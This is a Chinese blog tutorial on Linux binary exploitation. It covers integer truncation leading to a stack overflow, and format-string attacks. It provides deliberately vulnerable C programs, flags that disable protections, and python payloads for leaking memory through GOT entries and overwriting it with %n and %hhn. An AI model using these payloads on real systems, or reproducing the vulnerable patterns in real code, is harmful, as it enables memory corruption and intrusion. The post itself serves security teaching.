Linux Pwn - 整数溢出与格式化字符串漏洞

  • 整数溢出
  • 格式化字符串漏洞

整数溢出

整数溢出主要有三种情况:

  • 溢出
    • 两正数或两负数相加,符号位改变,产生溢出
    • OF标志置位
  • 回绕
    • 无符号数最小值减1或最大值加1产生进位
    • CF进位标志置位
  • 截断
    • 宽度大的数值转换为宽度小的数值,发生高位截断

容易发生溢出的函数

溢出需要配合其他漏洞(如栈溢出)才能使用,以size_t类型的参数或返回值的函数是溢出发生比较多的地方,例如:

1
2
3
4
void memcpy(void *, const void *, size_t);
chat *strncpy(char *, const char *, size_t);
size_t strlen(const char *);
...

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// main.c
#include <stdio.h>
#include <string.h>

void foo(const char *passwd)
{
char pw[0x10];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("nice!\n");
strcpy(pw, passwd);
} else {
printf("bad!\n");
}
}

int main(int argc, char *argv[])
{
foo(argv[1]);
return 0;
}

关闭canary保护,开启栈可执行编译

1
gcc -fno-stack-protector -z execstack main.c -o main

passwd_len在区间[4, 8]时,才会执行strcpy函数,而strlen函数返回size_t类型,其类型属于无符号且标准保证其宽度大于unsigned char

size_t类型取值260时,转换为unsigned int类型其值截断为4,刚好符合要求

使用gdb调试目标程序,先生成260个字节的字符串,以其做参数执行r,可以看到造成了溢出

1
2
gdb-peda$ pattern_create 260
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA'

格式化字符串漏洞

格式化字符串漏洞主要利用格式化字符串函数中的可变参特性以及格式化字符串中的转换指示符

比较常见的转换指示符如下:

转换指示符 说明
%d 打印有符号整型
%u 打印无符号整型
%x 打印十六进制
%s 打印字符串
%c 打印字符
%n 将打印字符串的长度写会到对应的参数所指示的地址上去

利用

使程序崩溃

可以使用多个%s作为格式化字符串函数的format(例如printf)来使程序崩溃

%s通过将对应参数的内容作为字符串首地址进行解析,当访问的地址处于保护或是非法地址时,则会崩溃

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

int main(void)
{
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
return 0;
}

将上述示例代码编译

1
2
3
4
5
6
7
8
9
pwn@ubuntu:~/workspace/format_vuln$ gcc -m32 -fno-stack-protector -no-pie main.c -o main
pwn@ubuntu:~/workspace/format_vuln$ checksec main
[*] '/home/giantbranch/workspace/format_vuln/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
pwn@ubuntu:~/workspace/format_vuln$

之后输入多个%s,运行可以看进程崩溃在vfprintf

栈数据泄露

接着上个示例,通过printf(format, arg1, arg2, arg3, arg4);打印arg1 ~ arg4,我们使用%08x-%08x-%08x-%08x-%08x来打印5个数据,可以看到第五个数据是栈上存储的format变量

格式化字符串函数内部会使用一个指针来指向需要被格式化的参数,依照格式化字符串一次解析并格式化,故在完成解析格式化最后一个参数后,若格式化字符串中还有剩余的转换指示符,那么就会继续解析并格式化栈上后续的数据

另外,可以通过%n$x来指定解析格式化第n个参数,例如使用%6$x来解析第6个参数

任意地址内存泄露

攻击者使用%s格式化字符串时,可以泄露参数(指针)所指向内存地址,并解析成字符串,直到遇到NULL为止。如果攻击者可以操纵此参数(指针)的值,那么就能达到泄露任意内存地址

还是以上面为例,输入AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x得到如下结果:

1
2
3
4
5
6
 ► f 0  8048512 main+119
f 1 f7e1b647 __libc_start_main+247
Breakpoint *0x08048512
gdb-peda$ c
Continuing.
AAAA-00000001-88888888-ffffffff-ffffceba-ffffcec4-080481fc-ffffcf18-f7ffda74-00000001-424134a0-00004443-00000000-41414141-3830252d-30252d78-252d7838-2d783830-78383025-3830252d-30252d78

41414141arg13的位置上,使用%13$s来读出0x41414141地址的字符串,这里可以控制将0x41414141改成其他合法地址就能泄露内存

例如将其改为0xffffceba,这里是字符串ABCD的首地址

1
python -c 'print("\xba\xce\xff\xff"+"-%13$s")' > ./test.txt

通常,可以将某函数的GOT地址传入,泄露出函数的RVA,然后根据libc中的相对偏移,可以获取任意函数的地址

首先通过readelf -r获取重定向表

1
2
3
4
5
6
7
8
9
10
11
12
pwn@ubuntu:~/workspace/format_vuln$ readelf -r ./main

Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__

Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

接着泄露这几个函数的地址,可以看到printf@GLIBC_2.0函数地址不对,少了0x0c(不可见字符,被忽略了)

1
2
3
4
5
6
7
8
pwn@ubuntu:~/workspace/format_vuln$ python -c 'print("\x0c\xa0\x04\x08"+"-%13$x")' | ./main
�-2d0804a0
pwn@ubuntu:~/workspace/format_vuln$ python -c 'print("\x10\xa0\x04\x08"+"-%13$x")' | ./main
�-804a010
pwn@ubuntu:~/workspace/format_vuln$ python -c 'print("\x14\xa0\x04\x08"+"-%13$x")' | ./main
�-804a014
pwn@ubuntu:~/workspace/format_vuln$ python -c 'print("\x18\xa0\x04\x08"+"-%13$x")' | ./main
�-804a018

于是就使用另外几个,这里挑putchar@GLIBC_2.0

1
python -c 'print("\x14\xa0\x04\x08"+"-%13$x")' > ./test.txt

因为延迟绑定,这里putchar没有调用过,可以看到GOT表指向了PLT表项,下面是以scanf为例,可以得到scanf的地址

1
python -c 'print("\x18\xa0\x04\x08"+"-%13$x")' > ./test.txt

栈数据覆盖

接着上面的例子,修改arg2的内容(arg2的地址为0xffffce98),使用%n来将输出的字符串的长度写回到指定的地址中

例如将arg2修改为0x12345678,这里打印arg1设置宽度0x12345678 - 4

1
python -c 'print("\x98\xce\xff\xff"+"%.305419892x%13$n")' > test.txt

这种将地址放前,%n在后,能写入的最小值为4,如果要小于4,单纯使用格式化字符串漏洞的话就需要将地址放在后面,例如下面将arg2改成1

1
2
3
4
// 首先需要构造格式化字符串 "A%16$nAA",这里的16先当作占位符,需要调试得到,此格式化字符串为8字节(三个'A'共3字节,"%16$n"为5字节)
// 在格式化字符串后面构造地址,一共8 + 4 = 12字节
// 先用 "A%16$nAA" + "BBBB" 看看内存布局
python -c 'print("A%16$nAA" + "BBBB")' > test.txt

可以看到0x42424242arg15上,将其替换为0xffffce98,并将当时的16改为15

1
python -c 'print("A%15$nAA" + "\x98\xce\xff\xff")' > test.txt

任意地址内存覆盖

任意地址覆盖其实就同上面栈数据覆盖一样,控制所需要覆盖的地址即可

另外,通过对成都修饰符的改变来写入指定宽度的数据

1
2
3
4
5
%hhn	// 单字节
%hn // 双字节
%n // 4字节
%ln // 8字节
%lln // 16字节

例如下面通过%hhn写入1字节

1
python -c 'print("A%15$hhn" + "\x98\xce\xff\xff")' > test.txt

利用这种特性,可以逐字节的来覆盖内容,比如将arg2改成0x123456

首先构造占位字符”AAAABBBBCCCCDDDD”,确定内存布局

这里就按下面的映射关系来设定内存的值

1
2
3
4
5
  占位符        值        目标地址
0x41414141 -> 0x78 --- 0xffffce98
0x42424242 -> 0x56 --- 0xffffce99
0x43434343 -> 0x34 --- 0xffffce9a
0x44444444 -> 0x12 --- 0xffffce9b

构造如下字符串,其中写入了四个四字节地址,共0x10字节,就有:

  • %104c%13$hhn0x78 - 0x10
  • %222c%14$hhn0x156 - 0x78
  • %222c%15$hhn0x234 - 0x156
  • %222c%16$hhn0x312 - 0x234

由于使用了hhn,只会写入低字节

1
python -c 'print("\x98\xce\xff\xff" + "\x99\xce\xff\xff" + "\x9a\xce\xff\xff" + "\x9b\xce\xff\xff" + "%104c%13$hhn" + "%222c%14$hhn" + "%222c%15$hhn" + "%222c%16$hhn")' > test.txt

注意点

在实际利用过程中,ASLR保护会使得地址随机化,另外在调试和非调试状态下的地址也可能是不同的,需要结合地址泄露再根据该地址计算出实际地址方可利用

x64

在x64下,参数传递被寄存器化

  • Linux上通过rdirsirdxrcxr8r9传递前6个参数,其余通过栈传递

  • Windows上通过rcxrdxr8r9来传递前4个参数,其余通过栈传递

存储在寄存器上的值(例如上面例子里的arg2)就不能在通过格式化字符串漏洞来覆盖了

将上面的例子编译成64位的

1
gcc -fno-stack-protector -no-pie main.c -o main64

输入AAAAAAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x

打印的结果为

1
2
3
gdb-peda$ c
Continuing.
AAAAAAAA-1-88888888-ffffffff-ffffdcc0-f7fdc700-44434241-0-41414141-2d78252d-78252d78
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信